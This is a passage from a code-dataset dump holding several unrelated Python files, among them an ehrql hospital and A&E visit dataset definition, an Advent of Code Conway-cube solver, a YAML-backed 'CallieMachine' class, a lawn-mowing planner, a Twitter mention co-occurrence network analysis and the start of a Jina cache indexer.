dataset.index_date, num_months=6, end_date=dataset.end_date)\nadd_hos_visits(dataset, dataset.index_date, num_months=7, end_date=dataset.end_date)\nadd_hos_visits(dataset, dataset.index_date, num_months=8, end_date=dataset.end_date)\nadd_hos_visits(dataset, dataset.index_date, num_months=9, end_date=dataset.end_date)\nadd_hos_visits(dataset, dataset.index_date, num_months=10, end_date=dataset.end_date)\nadd_hos_visits(dataset, dataset.index_date, num_months=11, end_date=dataset.end_date)\nadd_hos_visits(dataset, dataset.index_date, num_months=12, end_date=dataset.end_date)\n\n# A&E visit\n# Historical A&E visit\nadd_hx_ae_visits(dataset, num_months=1)\nadd_hx_ae_visits(dataset, num_months=2)\nadd_hx_ae_visits(dataset, num_months=3)\nadd_hx_ae_visits(dataset, num_months=4)\nadd_hx_ae_visits(dataset, num_months=5)\nadd_hx_ae_visits(dataset, num_months=6)\nadd_hx_ae_visits(dataset, num_months=7)\nadd_hx_ae_visits(dataset, num_months=8)\nadd_hx_ae_visits(dataset, num_months=9)\nadd_hx_ae_visits(dataset, num_months=10)\nadd_hx_ae_visits(dataset, num_months=11)\nadd_hx_ae_visits(dataset, num_months=12)\n\n\n# A&E visit after index date:\nadd_ae_visits(dataset, dataset.index_date, num_months=1, end_date=dataset.end_date)\nadd_ae_visits(dataset, dataset.index_date, num_months=2, end_date=dataset.end_date)\nadd_ae_visits(dataset, dataset.index_date, num_months=3, end_date=dataset.end_date)\nadd_ae_visits(dataset, dataset.index_date, num_months=4, end_date=dataset.end_date)\nadd_ae_visits(dataset, dataset.index_date, num_months=5, end_date=dataset.end_date)\nadd_ae_visits(dataset, dataset.index_date, num_months=6, end_date=dataset.end_date)\nadd_ae_visits(dataset, dataset.index_date, num_months=7, end_date=dataset.end_date)\nadd_ae_visits(dataset, dataset.index_date, num_months=8, end_date=dataset.end_date)\nadd_ae_visits(dataset, dataset.index_date, num_months=9, end_date=dataset.end_date)\nadd_ae_visits(dataset, dataset.index_date, num_months=10, end_date=dataset.end_date)\nadd_ae_visits(dataset, dataset.index_date, num_months=11, end_date=dataset.end_date)\nadd_ae_visits(dataset, dataset.index_date, num_months=12, end_date=dataset.end_date)\n\n", "sub_path": "analysis/dataset_definition_hx_matched_exp_lc.py", "file_name": "dataset_definition_hx_matched_exp_lc.py", "file_ext": "py", "file_size_in_byte": 7552, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "ehrql.query_language.PatientFrame", "line_number": 15, "usage_type": "name"}, {"api_name": "ehrql.query_language.Series", "line_number": 16, "usage_type": "call"}, {"api_name": "ehrql.query_language.Series", "line_number": 17, "usage_type": "call"}, {"api_name": "ehrql.query_language.Series", "line_number": 18, "usage_type": "call"}, {"api_name": "ehrql.query_language.Series", "line_number": 19, "usage_type": "call"}, {"api_name": "ehrql.query_language.Series", "line_number": 20, "usage_type": "call"}, {"api_name": "ehrql.query_language.Series", "line_number": 21, "usage_type": "call"}, {"api_name": "ehrql.query_language.Series", "line_number": 22, "usage_type": "call"}, {"api_name": "ehrql.query_language.Series", "line_number": 23, "usage_type": "call"}, {"api_name": "ehrql.query_language.Series", "line_number": 24, "usage_type": "call"}, {"api_name": "ehrql.query_language.Series", "line_number": 25, "usage_type": "call"}, {"api_name": "ehrql.query_language.Series", "line_number": 26, "usage_type": "call"}, {"api_name": "ehrql.query_language.table_from_file", "line_number": 14, "usage_type": "call"}, {"api_name": "databuilder.ehrql.Dataset", "line_number": 29, "usage_type": "call"}, {"api_name": "databuilder.tables.beta.tpp.clinical_events.where", "line_number": 43, "usage_type": "call"}, {"api_name": "databuilder.tables.beta.tpp.clinical_events", "line_number": 43, "usage_type": "name"}, {"api_name": "databuilder.tables.beta.tpp.clinical_events.ctv3_code.is_in", "line_number": 43, "usage_type": "call"}, {"api_name": "databuilder.tables.beta.tpp.clinical_events.ctv3_code", "line_number": 43, "usage_type": "attribute"}, {"api_name": "databuilder.tables.beta.tpp.clinical_events.date", "line_number": 44, "usage_type": "attribute"}, {"api_name": "databuilder.tables.beta.tpp.clinical_events", "line_number": 44, "usage_type": "name"}, {"api_name": "databuilder.tables.beta.tpp.clinical_events", "line_number": 53, "usage_type": "argument"}, {"api_name": "ehrql.minimum_of", "line_number": 68, "usage_type": "call"}]} {"seq_id": "285824675", "text": "from pprint import pprint\nfrom typing import Tuple, List, Union\n\n\ndef dim(space: Union[List, str]):\n \"\"\"\n >>> dim('#')\n 0\n\n >>> dim(['#', '#', '#'])\n 1\n\n >>> dim([['#', '#', '#'], ['#', '#', '#']])\n 2\n\n >>> dim([[['#', '#', '#'], ['#', '#', '#']]])\n 3\n\n >>> dim([[[['#', '#', '#'], ['#', '#', '#']]]])\n 4\n \"\"\"\n if isinstance(space, str):\n return 0\n else:\n return 1 + dim(space[0])\n\n\ndef size(space: Union[List, str]) -> Tuple:\n \"\"\"\n Find size of space for each dimension.\n\n >>> size('.')\n ()\n\n >>> size(['.', '.', '.'])\n (3,)\n\n >>> size(\n ... [['#', '#', '#'],\n ... ['#', '#', '#']])\n (2, 3)\n\n >>> size(default_space((2, 3)))\n (2, 3)\n\n :param space: to find size of\n :return: tuple\n eg: (z, y, x)\n \"\"\"\n if isinstance(space, str):\n return tuple()\n else:\n return tuple([len(space), *size(space[0])])\n\n\ndef default_space(size: Tuple) -> Union[str, List]:\n \"\"\"\n Make default space of size.\n\n 0 dim space\n >>> default_space(tuple())\n '.'\n\n 1 dim space: vector\n >>> default_space((3,))\n ['.', '.', '.']\n\n 2 dim space: plane\n >>> default_space((3, 2))\n [['.', '.'], ['.', '.'], ['.', '.']]\n\n 3 dim space: space\n >>> default_space((1, 2, 2))\n [[['.', '.'], ['.', '.']]]\n\n 4 dim space: hyper-space\n >>> default_space((1,1,3,3))\n [[[['.', '.', '.'], ['.', '.', '.'], ['.', '.', '.']]]]\n\n :param size: tuple, size in each dimension,\n e.g.: (z, y, x)\n :return:\n \"\"\"\n if len(size) == 0:\n return '.'\n else:\n d = size[0]\n tail = size[1:]\n return [\n default_space(tail)\n for _ in range(d)\n ]\n\n\ndef grow_space(space: Union[List, str]) -> Union[List, str]:\n \"\"\"\n >>> grow_space(['x', 'x'])\n ['.', 'x', 'x', '.']\n\n >>> pprint(grow_space([['x', 'x'], ['x', 'x']]))\n [['.', '.', '.', '.'],\n ['.', 'x', 'x', '.'],\n ['.', 'x', 'x', '.'],\n ['.', '.', '.', '.']]\n\n >>> pprint(grow_space([[['x', 'x'], ['x', 'x']]]))\n [[['.', '.', '.', '.'],\n ['.', '.', '.', '.'],\n ['.', '.', '.', '.'],\n ['.', '.', '.', '.']],\n [['.', '.', '.', '.'],\n ['.', 'x', 'x', '.'],\n ['.', 'x', 'x', '.'],\n ['.', '.', '.', '.']],\n [['.', '.', '.', '.'],\n ['.', '.', '.', '.'],\n ['.', '.', '.', '.'],\n ['.', '.', '.', '.']]]\n\n\n :param space: to grow\n :return: grown space in each dimension by 1 +/-\n \"\"\"\n if dim(space) == 0:\n return space\n else:\n pass\n return [\n grow_space(default_space(size(space)[1:])),\n * [\n grow_space(subspace)\n for subspace in space\n ],\n grow_space(default_space(size(space)[1:])),\n ]\n\n\ndef count_active(space: Union[str, List]):\n \"\"\"\n count active cells in space (denoted by '#').\n\n >>> count_active('#')\n True\n\n >>> count_active(['.', '#', '.'])\n 1\n\n >>> count_active([['#', '.'], ['.', '#']])\n 2\n\n >>> count_active([[['#', '.'], ['.', '#']], [['#', '.'], ['.', '.']]])\n 3\n\n :param space:\n :return:\n \"\"\"\n if isinstance(space, str):\n return space == '#'\n else:\n return sum(\n count_active(subspace)\n for subspace\n in space\n )\n\n\ndef count_active_around(space: Union[str, List], coords: Tuple):\n \"\"\"\n count active cells around +/- 1 of center,\n including cell at coordinates\n\n >>> count_active_around([\n ... ['#', '.', '.', '.', '#'],\n ... ['.', '#', '.', '.', '.'],\n ... ['.', '.', '#', '.', '.'],\n ... ['.', '#', '.', '#', '.'],\n ... ['.', '.', '#', '.', '.']], (2, 2))\n 4\n\n :param space: to count cells in\n :param coords: center\n :return: number of active cells ('#'-s)\n \"\"\"\n if isinstance(space, str):\n return space == '#'\n else:\n return sum(\n count_active_around(subspace, coords[1:])\n for subspace\n in space[max(coords[0] - 1, 0): coords[0] + 2]\n )\n\n\ndef transform(cell: str, active_count: int, coords) -> str:\n \"\"\"\n Transform cell according to conway's rules.\n\n :param cell: value to transform\n :param active_count: active cells in +/- 1 neighbourhood, including cell\n :return:\n \"\"\"\n if cell == '#' and active_count in (3, 4):\n return '#'\n elif cell == '.' and active_count == 3:\n return '#'\n else:\n return '.'\n\n\ndef step(space: List):\n def _step(_space: Union[str, List],\n coords: Tuple = None):\n if coords is None:\n coords = tuple()\n\n if isinstance(_space, str):\n return transform(_space, count_active_around(grown_space, coords), coords)\n else:\n return [\n _step(subspace, (*coords, coord))\n for coord, subspace\n in enumerate(_space)\n ]\n\n grown_space = grow_space(space)\n return _step(grown_space)\n\n\ndef neighbors(space: List):\n def _neighbors(_space: Union[str, List],\n coords: Tuple = None):\n if coords is None:\n coords = tuple()\n\n if isinstance(_space, str):\n return f'{coords}: {_space} [{count_active_around(space, coords)}]'\n else:\n return [\n _neighbors(subspace, (*coords, coord))\n for coord, subspace\n in enumerate(_space)\n ]\n\n return _neighbors(space)\n\n\nif __name__ == '__main__':\n import doctest\n doctest.testmod()\n\n starting_patch = []\n with open('input.txt', 'rt') as puzzle:\n for line in puzzle:\n starting_patch.append([c for c in line.strip()])\n\n space = [[starting_patch]]\n\n print(f'in {dim(space)} dimension space:')\n\n cycles = 6\n for _ in range(cycles):\n space = step(space)\n\n print(f'number of active cells after {cycles} cycles:', count_active(space))\n\n", "sub_path": "day17/puzzle_b.py", "file_name": "puzzle_b.py", "file_ext": "py", "file_size_in_byte": 6008, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "typing.Union", "line_number": 5, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 5, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 28, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 28, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 28, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 56, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 56, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 56, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 95, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 95, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 138, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 138, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 167, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 167, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 167, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 210, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 211, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 211, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 212, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 229, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 230, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 230, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 231, "usage_type": "name"}, {"api_name": "doctest.testmod", "line_number": 249, "usage_type": "call"}]} {"seq_id": "540105948", "text": "#THis is the CallieMachine Class. All other CallieMachines must\n#inherit from this design\n\nimport yaml\nfrom . import PartMachine\nfrom . import Constants\nfrom . import Errors\n\nclass CallieMachine:\n callieMachineID = \"\"\n dataStorageLocation = \"\"\n dataStorageClass = \"\"\n\n\n\n def __init__(self, newDataStorageLocation, newID):\n self.dataStorageLocation = newDataStorageLocation\n #creates the file if it does not exist\n try:\n with open(newDataStorageLocation) as file:\n file.close()\n except IOError as e:\n self.createStorageLocation()\n self.dataStorageClass = self.returnClassFromData()\n self.callieMachineID = newID\n\n #this must be implemented on every machine\n def returnClassFromData(self):\n stream = open(self.dataStorageLocation)\n print(\"Imported Class\")\n return yaml.load(stream)\n \n\n #this is called when the thing is created. This is\n #how we get a starter file to work with\n def saveClassToData(self):\n stream = open(self.dataStorageLocation, 'w')\n yaml.dump(self.dataStorageClass, stream)\n stream.close()\n print(\"Saved Class\")\n\n def consumeContent(self, newConsumer):\n try:\n dataMachineToSave = newConsumer.addDataToMachine()\n self.dataStorageClass = dataMachineToSave\n self.saveClassToData()\n print(\"Consumed Data and saved\")\n except Errors.OutOfMemoryError:\n self.dataStorageClass.initiateLossyMemoryExpansion()\n print(\"Ran Memory Adjustment\")\n\n def generateOutput(self, newGenerator):\n return newGenerator.generate()\n print(\"Generated Output\")\n\n def createStorageLocation(self):\n stream = open(self.dataStorageLocation, 'w')\n yaml.dump(PartMachine.PartMachine(Constants.myLossLimit, Constants.myExpansionMax), stream)\n stream.close()\n print(\"Created Storage Location\")\n", "sub_path": "InterpretationEngines/CallieMachine.py", "file_name": "CallieMachine.py", "file_ext": "py", "file_size_in_byte": 1968, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "yaml.load", "line_number": 31, "usage_type": "call"}, {"api_name": "yaml.dump", "line_number": 38, "usage_type": "call"}, {"api_name": "yaml.dump", "line_number": 58, "usage_type": "call"}]} {"seq_id": "195090952", "text": "\"\"\"\nlawn/mowing.py\n\nThis script is used to extract the mowing information from the lawn object.\n\n\"\"\"\n\n# import statements\nimport logging\nlogger = logging.getLogger(__name__)\n\n\ndef get_mowing_info(planner, closest_station, lawn):\n \"\"\"\n :param planner: The planner to which the mowing information will be added\n :param closest_station: The station closest to the location provided by the user\n :param lawn: This is the users lawn.\n :return: a dictionary containing all of the mowing information\n \"\"\"\n logger.debug(\"get_mowing_info - Lawn: %s, Station: %s\" % (lawn, closest_station))\n mowing_heights = lawn.grass_type.mowing\n\n for key in mowing_heights.keys():\n my_season = key\n my_task_name = 'Mow at height of %s\"' % (str(mowing_heights[key]['height']))\n if '-' in key:\n my_season = key.split('-')[0]\n my_task_name = 'Mow at height of %s\" for %s' % (str(mowing_heights[key]['height']), mowing_heights[key]['title'].lower())\n planner.add_task(my_task_name, my_season)\n\n mowing_info = {\n 'heights': mowing_heights,\n }\n return mowing_info\n", "sub_path": "planner/lawn/mowing.py", "file_name": "mowing.py", "file_ext": "py", "file_size_in_byte": 1128, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}]} {"seq_id": "90526608", "text": "\"\"\"Analyze the network of co-occurring user mentions.\"\"\"\n\n\nimport collections\nimport itertools\nimport json\n\nimport matplotlib.pyplot as plt\nimport networkx as nx\nimport numpy as np\nimport pandas as pd\nimport powerlaw\nimport pymysql\nimport scipy.cluster.hierarchy\n\n\nwith open('parameters.json') as f:\n p = json.load(f)\n\n\n######################################################################\n# Data\n\n\nconn = pymysql.connect(host=p['mysql']['host'],\n user=p['mysql']['user'],\n passwd=p['mysql']['passwd'],\n database=p['mysql']['database'])\n\nquery = '''SELECT user_mention.status_id,\n user_mention.screen_name\n FROM legislators\n INNER JOIN user_mention\n ON legislators.user_id = user_mention.user_id;'''\ncooccurrences = pd.io.sql.read_frame(query, conn)\n\n# Subset statuses containing at least two user mentions.\nind = cooccurrences.status_id.value_counts()\nind = ind.index[ind >= 2]\ncooccurrences = cooccurrences[cooccurrences.status_id.isin(ind)]\n\n# Count how frequently each undirected edges occurs.\nd = collections.defaultdict(int)\nfor _, group in cooccurrences.groupby('status_id'):\n it = group.screen_name.tolist()\n for edge in itertools.combinations(it, r=2):\n d[edge] += 1\n\n# Convert to a data frame.\ndf = [{'source': s, 'target': t, 'weight': w} for (s, t), w in d.iteritems()]\ndf = pd.DataFrame(df, columns=['source', 'target', 'weight'])\n\n# Subset nodes who both send and receive Tweets.\nnrow = df.shape[0]\nwhile True:\n df = df[df.source.isin(df.target)]\n df = df[df.target.isin(df.source)]\n if nrow == df.shape[0]:\n break\n nrow = df.shape[0]\n\n# Remove self-loops.\ndf = df[df.source != df.target]\n\ndf.to_csv('co-occurrences.csv', index=False)\n\n\n######################################################################\n# Analysis\n\n\ndf = pd.read_csv('co-occurrences.csv')\n\n\n# Construct the weighted undirected graph.\n\nG = nx.Graph(name='User Mention Co-occurrence Graph')\nG.add_weighted_edges_from(df.itertuples(index=False))\n\nprint(nx.info(G))\n\n\n# Visualize.\n\n\nnx.draw(G, pos=nx.spring_layout(G, k=0.1),\n with_labels=False, node_size=80, width=0.8)\nplt.savefig('output/spring_layout.png')\nplt.close()\n\n\n# Degree centrality.\n\n\nX = pd.Series(nx.degree(G))\nX.sort()\n\nX.tail(20).plot(kind='barh')\nplt.title('Nodes with the greatest degree')\nplt.xlabel('Degree')\nplt.tight_layout()\nplt.savefig('output/degree.png')\nplt.close()\n\n\n# Degree distribution and power law.\n\n\nX = pd.Series(nx.degree(G)).value_counts()\n\nfig = plt.figure(1, figsize=(8, 4))\n\nplt.subplot(121)\nplt.scatter(X.index.values, X.values)\nx1, x2, y1, y2 = plt.axis()\nplt.axis((0, x2, 0, y2))\nplt.grid(True)\nplt.ylabel('Frequency')\n\nplt.subplot(122)\nplt.scatter(X.index.values, X.values)\nplt.xscale('log')\nplt.yscale('log')\nx1, x2, y1, y2 = plt.axis()\nplt.axis((0, x2, 0, y2))\nplt.grid(True)\n\nfig.text(0.5, 0.04, 'Degree', ha='center', va='center')\nplt.suptitle('Degree Distribution, Linear and Log-Log')\n\nplt.tight_layout()\nplt.savefig('output/degree_distribution.png')\nplt.close()\n\n\n# Power laws are undefined at x = 0, so we need to set a minimum value.\n# Here, `xmin` is both a theoretical minimum and actually observed in the data.\nfit = powerlaw.Fit(X, discrete=True, xmin=1)\n\n# Loglikelihood ratios and significance values.\nfit.distribution_compare('power_law', 'exponential', normalized_ratio=True)\nfit.distribution_compare('power_law', 'lognormal', normalized_ratio=True)\n\nax = plt.subplot(111)\nfit.plot_ccdf(ax=ax, color='b', linewidth=2, label='Empirical Data')\nfit.power_law.plot_ccdf(ax=ax, color='g', linestyle='--',\n label='Power law fit')\nfit.exponential.plot_ccdf(ax=ax, color='r', linestyle='--',\n label='Exponential fit')\nfit.lognormal.plot_ccdf(ax=ax, color='c', linestyle='--',\n label='Lognormal fit')\nplt.grid(True)\nplt.title('Comparison of fitted distributions to empirical data')\nplt.xlabel('Degree centrality')\nplt.ylabel(r'$p(X \\geq x)$')\nhandles, labels = ax.get_legend_handles_labels()\nplt.legend(handles, labels, loc=3)\nplt.savefig('output/fit_comparison.png')\nplt.close()\n\n\n# k-cliques.\n\n\nlist(nx.k_clique_communities(G, 15))\n\n# Which vertices appear in all 10-cliques?\nfrozenset.intersection(*nx.k_clique_communities(G, 10))\n\n\n# Hierarchical clustering.\n\n\nfeat_names = G.nodes()\nX = nx.to_numpy_matrix(G) # Distance matrix\nX[X > 0] = 1 # Convert to binary matrix\n\nZ = scipy.cluster.hierarchy.ward(X) # Linkage matrix\n\n# Visualize the dendrogram.\nd = scipy.cluster.hierarchy.dendrogram(Z)\nplt.title('Hierarchical clustering on the co-occurrence binary matrix')\nplt.gca().axes.get_xaxis().set_visible(False)\nplt.ylabel('Height')\nplt.savefig('output/dendrogram.png')\nplt.close()\n\n# Divide into clusters based on cophenetic distance.\nT = scipy.cluster.hierarchy.fcluster(Z, 15, 'distance')\n\ngroups = pd.Series(T, index=feat_names)\ngroups.sort()\n\n\n", "sub_path": "co-occurrences.py", "file_name": "co-occurrences.py", "file_ext": "py", "file_size_in_byte": 4966, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "json.load", "line_number": 18, "usage_type": "call"}, {"api_name": "pymysql.connect", "line_number": 25, "usage_type": "call"}, {"api_name": "pandas.io.sql.read_frame", "line_number": 35, "usage_type": "call"}, {"api_name": "pandas.io", "line_number": 35, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 43, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 46, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 51, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 72, "usage_type": "call"}, {"api_name": "networkx.Graph", "line_number": 77, "usage_type": "call"}, {"api_name": "networkx.info", "line_number": 80, "usage_type": "call"}, {"api_name": "networkx.draw", "line_number": 86, "usage_type": "call"}, {"api_name": "networkx.spring_layout", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 95, "usage_type": "call"}, {"api_name": "networkx.degree", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 109, "usage_type": "call"}, {"api_name": "networkx.degree", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 115, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 115, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 117, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 118, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xscale", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yscale", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 125, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 126, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 132, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "powerlaw.Fit", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 152, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 153, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 153, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 154, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 154, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 155, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 155, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 157, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 157, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 158, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 158, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 159, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 159, "usage_type": "name"}, {"api_name": "networkx.k_clique_communities", "line_number": 165, "usage_type": "call"}, {"api_name": "networkx.k_clique_communities", "line_number": 168, "usage_type": "call"}, {"api_name": "networkx.to_numpy_matrix", "line_number": 175, "usage_type": "call"}, {"api_name": "scipy.cluster.hierarchy.cluster.hierarchy.ward", "line_number": 178, "usage_type": "call"}, {"api_name": "scipy.cluster.hierarchy.cluster", "line_number": 178, "usage_type": "attribute"}, {"api_name": "scipy.cluster.hierarchy", "line_number": 178, "usage_type": "name"}, {"api_name": "scipy.cluster.hierarchy.cluster.hierarchy.dendrogram", "line_number": 181, "usage_type": "call"}, {"api_name": "scipy.cluster.hierarchy.cluster", "line_number": 181, "usage_type": "attribute"}, {"api_name": "scipy.cluster.hierarchy", "line_number": 181, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 182, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 182, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 183, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 183, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 184, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 184, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 185, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 185, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 186, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 186, "usage_type": "name"}, {"api_name": "scipy.cluster.hierarchy.cluster.hierarchy.fcluster", "line_number": 189, "usage_type": "call"}, {"api_name": "scipy.cluster.hierarchy.cluster", "line_number": 189, "usage_type": "attribute"}, {"api_name": "scipy.cluster.hierarchy", "line_number": 189, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 191, "usage_type": "call"}]} {"seq_id": "237746060", "text": "\"\"\"Indexer for caching.\"\"\"\n\nimport pickle\nimport tempfile\nfrom typing import Optional, Iterable\n\nfrom jina.executors.indexers import BaseKVIndexer\n\nDATA_FIELD = 'data'\nID_KEY = 'id'\nCONTENT_HASH_KEY = 'content_hash'\n\n\nclass BaseCache(BaseKVIndexer):\n \"\"\"Base class of the cache inherited :class:`BaseKVIndexer`.\n\n The difference between a cache and a :class:`BaseKVIndexer` is the ``handler_mutex`` is released in cache,\n this allows one to query-while-indexing.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n \"\"\"Create a new BaseCache.\"\"\"\n super().__init__(*args, **kwargs)\n\n def post_init(self):\n \"\"\"For Cache we need to release the handler mutex to allow RW at the same time.\"\"\"\n self.handler_mutex = False\n\n\nclass DocCache(BaseCache):\n \"\"\"A key-value indexer that specializes in caching.\n\n Serializes the cache to two files, one for ids, one for the actually cached field.\n If field=`id`, then the second file is redundant. The class optimizes the process\n so that there are no duplicates.\n \"\"\"\n\n class CacheHandler:\n \"\"\"A handler for loading and serializing the in-memory cache of the DocCache.\"\"\"\n\n def __init__(self, path, logger):\n \"\"\"Create a new CacheHandler.\n\n :param path: Path to the file from which to build the actual paths.\n :param logger: Instance of logger.\n \"\"\"\n self.path = path\n try:\n self.id_to_cache_val = pickle.load(open(path + '.ids', 'rb'))\n self.cache_val_to_id = pickle.load(open(path + '.cache', 'rb'))\n except FileNotFoundError as e:\n logger.warning(\n f'File path did not exist : {path}.ids or {path}.cache: {e!r}. Creating new CacheHandler...')\n self.id_to_cache_val = dict()\n self.cache_val_to_id = dict()\n\n def close(self):\n \"\"\"Flushes the in-memory cache to pickle files.\"\"\"\n pickle.dump(self.id_to_cache_val, open(self.path + '.ids', 'wb'))\n 